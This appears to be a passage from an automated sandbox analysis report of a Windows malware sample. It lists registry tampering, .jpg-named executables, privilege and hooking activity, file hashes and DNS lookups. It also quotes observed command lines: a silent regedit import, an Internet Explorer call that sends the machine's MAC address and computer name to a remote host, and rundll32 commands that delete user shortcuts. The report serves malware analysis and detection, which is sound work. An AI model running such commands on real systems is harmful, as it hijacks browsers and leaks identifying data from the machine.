| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\ = "????" | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\NeverShowExt = "1" | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\DefaultIcon\ = "C:\\Program Files\\Internet Explorer\\IEXPLORE.EXE,0" | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command\ = "IEXPLORE.EXE http://www.manyou123.com/?pm" | C:\WINDOWS\1059\mone.jpg | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon\ = "%SystemRoot%\\SysWow64\\SHELL32.dll,-134" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open\command | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell\open | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\DefaultIcon | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32 | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\InProcServer32\ThreadingModel = "Apartment" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\.NewIE\shell | C:\WINDOWS\1059\mone.jpg | N/A |
| Key created | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849} | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ = "Search Results Folder" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\IntroText = "@%SystemRoot%\\system32\\SHELL32.dll,-31754" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (str) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\LocalizedString = "@%SystemRoot%\\system32\\SHELL32.dll,-30520" | C:\Windows\SysWOW64\regedit.exe | N/A |
| Set value (int) | \REGISTRY\MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{e17d4fc0-5564-11d1-83f2-00a0c90dc849}\ShellFolder\Attributes = "942747698" | C:\Windows\SysWOW64\regedit.exe | N/A |
Runs .reg file with regedit
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\SysWOW64\regedit.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| Token: SeDebugPrivilege | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
Suspicious use of SetWindowsHookEx
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files\Internet Explorer\iexplore.exe | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE | N/A |
| N/A | N/A | C:\WINDOWS\1059\women.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\mone.jpg | N/A |
| N/A | N/A | C:\WINDOWS\1059\spring.jpg | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe"
C:\Program Files\Internet Explorer\iexplore.exe
"C:\Program Files\Internet Explorer\iexplore.exe" http://www.123google.cn/tjjjj/get.asp?mac=FE55E2F65CCF&makedate=DD00013&comput=Home&ver=90&userid=0001&Key=23494C687CF01886FDB25BD061AEA023
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4836 CREDAT:17410 /prefetch:2
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --field-trial-handle=3804,i,1809100026287847100,9768898026582633513,262144 --variations-seed-version --mojo-platform-channel-handle=4020 /prefetch:8
C:\WINDOWS\1059\women.jpg
C:\WINDOWS\1059\women.jpg C:\Users\Admin\AppData\Local\Temp\05f5d7fa80ab2f400fcd1930f5b79f75_JaffaCakes118.exe===
C:\WINDOWS\1059\mone.jpg
C:\WINDOWS\1059\mone.jpg
C:\WINDOWS\1059\spring.jpg
spring.jpg 3436
C:\Windows\SysWOW64\regedit.exe
regedit /s "C:\WINDOWS\1059\jia.reg"
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\google chrome.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\microsoft edge.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\shows desktop.lnk
C:\Windows\SysWOW64\rundll32.exe
rundll32.exe advpack.dll,DelNodeRunDLL32 c:\users\admin\appdata\roaming\microsoft\internet explorer\quick launch\window switcher.lnk
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | www.123google.cn | udp |
| US | 8.8.8.8:53 | www.123google.cn | udp |
| US | 8.8.8.8:53 | 13.86.106.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 19.53.126.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 58.55.71.13.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 157.123.68.40.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 198.187.3.20.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 92.12.20.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 30.243.111.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 82.90.14.23.in-addr.arpa | udp |
Files
memory/2224-0-0x0000000000400000-0x0000000000455000-memory.dmp
memory/2224-1-0x00000000001C0000-0x00000000001C2000-memory.dmp
C:\Windows\1059\women.jpg
| MD5 | 81b08252d5134ad207e1304dcccf3b64 |
| SHA1 | f2918d17aafafc27a445f6e972bf1cf672899137 |
| SHA256 | b7bd83d2bc9b3b35133f670a7a2ec1ee801a8e7e77041c736bdbc74c5080b29d |
| SHA512 | 26577e185a50d3bec1deebdf595d70a0350843bee92b6b78c7398b74fd31b7e58b9b03863fc3c8891b290489042530eea9554f4ae575ecdffa6908f2d6e50a0d |
memory/2224-32-0x0000000000400000-0x0000000000455000-memory.dmp
C:\Windows\1059\mone.jpg
| MD5 | 53efa7cc7e000ff79680a76cac0413c3 |
| SHA1 | 46ae5d29da26eefdcbdaf78a470f607fcdb094b1 |
| SHA256 | f74beb3e8eea990623e2c8ccc7ba2550ab70a9d6f1949afcc455494d9bedbacd |
| SHA512 | b31d934c6e756ca3325581ad56346e0c9218da1328052f1cdda55af79c7b6d1395b056c4086a1c8846171cfe78481bf39eb1fd074f576279c46aa0fa7afb5f70 |
C:\WINDOWS\1059\spring.jpg
| MD5 | 834dfbedb7a2bf1800341822057b9e43 |
| SHA1 | 9f49291221cbcd488c86adf154e822d9246c2c5a |
| SHA256 | 58ebb20d45d2373b745494e8d63e70171cb3a243bd657768c1806c7f239b2de7 |
| SHA512 | ae65457a39f49796c29e4ce69453417a35aca8c3c9927fef94abeffba9f6d7f15b273240fdae09ef5c978faa1a8408a7e1d9e8e52c15f539ee19c68449672ec6 |
C:\Windows\1059\jia.reg
| MD5 | 1840a7df3c8bfc6f58e30dd4e1a5e4c4 |
| SHA1 | 4f8a3f4ba58ece4a54a75deabf4d8bac0d53a260 |
| SHA256 | cf0a71cd1512e605c65f115f2c517a53c7b21d70198bac82eadc7124e1c2f776 |
| SHA512 | 1bfef8eb534dafa9fa52c4ab275f6e50744b1a84c278146bf4ec47db4f61137003f22100e7ddd88f7fef4c8aed199b59698f87febf59f7238062e4f50000f0a0 |